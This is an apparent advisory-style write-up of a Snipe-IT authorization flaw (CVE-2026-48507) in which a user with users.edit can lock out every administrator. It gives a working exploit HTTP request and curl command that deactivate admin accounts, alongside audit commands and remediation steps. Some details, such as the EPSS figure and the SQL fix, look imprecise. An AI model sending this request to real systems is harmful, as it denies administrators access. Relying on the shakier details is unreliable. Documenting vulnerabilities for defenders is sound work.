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How CVE-2026-48507 Works
Snipe-IT is an open-source IT asset and license management system built on Laravel. The application implements a granular permission system where the `users.edit` permission is intended to allow non-administrative users to modify basic profile information of other users, such as display names or email addresses. However, versions prior to 8.6.0 suffer from an incorrect authorization vulnerability (CWE-863) that fails to properly restrict which user attributes can be modified through the bulk editing functionality.
The vulnerability stems from insufficient access controls and validation mechanisms within the user management functionality. When a user with only the `users.edit` permission accesses the bulk user editing feature, the system does not adequately filter or validate the fields being submitted for update. Two critical account flags are exposed to modification by this low-privileged user: the `activated` flag and the `ldap_import` flag.
The `activated` flag determines whether a user account can successfully authenticate to the system. Setting this flag to `false` (or 0) effectively deactivates the account, preventing the user from logging in. The `ldap_import` flag determines whether a user can initiate password reset procedures. When this flag is manipulated, the user loses the ability to request password resets, which is particularly devastating when combined with account deactivation.
An attacker with only the `users.edit` permission can target any user, including all administrators. By submitting a bulk edit request that sets both `activated` and `ldap_import` to disabled values for all admin accounts, the attacker can simultaneously deactivate every administrative account and prevent any of those administrators from recovering access via password reset. This creates a complete denial-of-service scenario where no administrative user can access the platform.
The attack requires only network access and low-privileged credentials, with no user interaction needed. The CVSS v3.1 score is 7.1 (High), with the vector string AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H. This represents a classic case of insufficient authorization checks where the system fails to properly validate that a user has the necessary privileges to modify flags that affect system-wide authentication. The vulnerability was patched in commit `403f9c848b05274642f64450696bdcdc242a352a` and fixed in version 8.6.0.
DailyCVE Form
| Field | Value |
|-|-|
| Platform | Snipe-IT |
| Version | `< 8.6.0` |
| Vulnerability | Incorrect Authorization |
| Severity | High (7.1 CVSS) |
| Date | 2026-06-08 |
| Prediction | 2026-07-15 |
What Undercode Say
Analytics & Intelligence:
Check current Snipe-IT version php artisan --version List all users with their activation and LDAP import status mysql -u snipe_user -p snipe_db -e "SELECT id, username, activated, ldap_import FROM users;" Identify users with users.edit permission mysql -u snipe_user -p snipe_db -e "SELECT user_id, permission FROM permissions WHERE permission = 'users.edit';" Verify if patch is applied (check commit hash) git log --oneline | grep 403f9c8 Audit bulk edit logs for suspicious activity grep -i "bulk.edit" storage/logs/laravel.log | grep -i "activated|ldap_import" Monitor for unauthorized flag changes tail -f storage/logs/laravel.log | grep -E "users.edit|activated|ldap_import"
Undercode’s Threat Assessment: The vulnerability has an EPSS score of 0.0% with top 88% percentile ranking, indicating that while currently not widely exploited, the potential for automated attacks is significant. The attack maps to MITRE ATT&CK techniques T1078 (Valid Accounts) and T1531 (Account Access Removal).
Exploit
A malicious user with only the `users.edit` permission can craft a bulk edit request targeting all administrators:
POST /api/v1/users/bulk/edit HTTP/1.1
Host: target-snipe-instance.com
Authorization: Bearer <low_privileged_token>
Content-Type: application/json
{
"user_ids": [1, 2, 3, 4],
"activated": false,
"ldap_import": false
}
Alternatively, using cURL:
curl -X POST https://target-snipe-instance.com/api/v1/users/bulk/edit \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"user_ids":[1,2,3,4],"activated":0,"ldap_import":0}'
The lack of server-side validation on these critical flags allows the attacker to deactivate all admin accounts and simultaneously prevent password recovery, locking the entire administrative team out of the system. This creates a persistent denial-of-service condition that can only be remediated through direct database intervention or applying the patch from a recovery environment.
Protection
- Immediate Upgrade: Update Snipe-IT to version 8.6.0 or later, which contains the official patch.
- Restrict `users.edit` Permission: Until the upgrade is applied, restrict the `users.edit` permission to only highly trusted users.
- Database Remediation (if exploited): If already compromised, manually re-enable admin accounts via database:
UPDATE users SET activated = 1, ldap_import = 1 WHERE admin = 1;
- Access Control Review: Conduct a comprehensive review of granular permissions to ensure users have only the minimum privileges necessary.
- Monitoring: Implement monitoring for suspicious user account modifications, particularly bulk edits affecting `activated` and `ldap_import` flags.
- Input Validation: Verify that the patch properly enforces authorization checks on critical user flags.
Impact
- Denial of Service: Complete lockdown of administrative access to the entire Snipe-IT instance.
- Business Disruption: Inability to manage IT assets, licenses, or respond to security incidents.
- Password Recovery Block: Legitimate users cannot reset passwords, potentially locking out the entire user base.
- Principle of Least Privilege Violation: A low-privileged user can perform system-wide destructive actions.
- Persistence: The attacker maintains access while locking out all legitimate administrators.
- Extended Downtime: Recovery requires database intervention or patch deployment from a non-standard access path.
References:
- GitHub Advisory: GHSA-6f75-x745-xcpr
- Patch Commit: 403f9c848b05274642f64450696bdcdc242a352a
- CVE Record: CVE-2026-48507
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Sources:
Reported By: github.com
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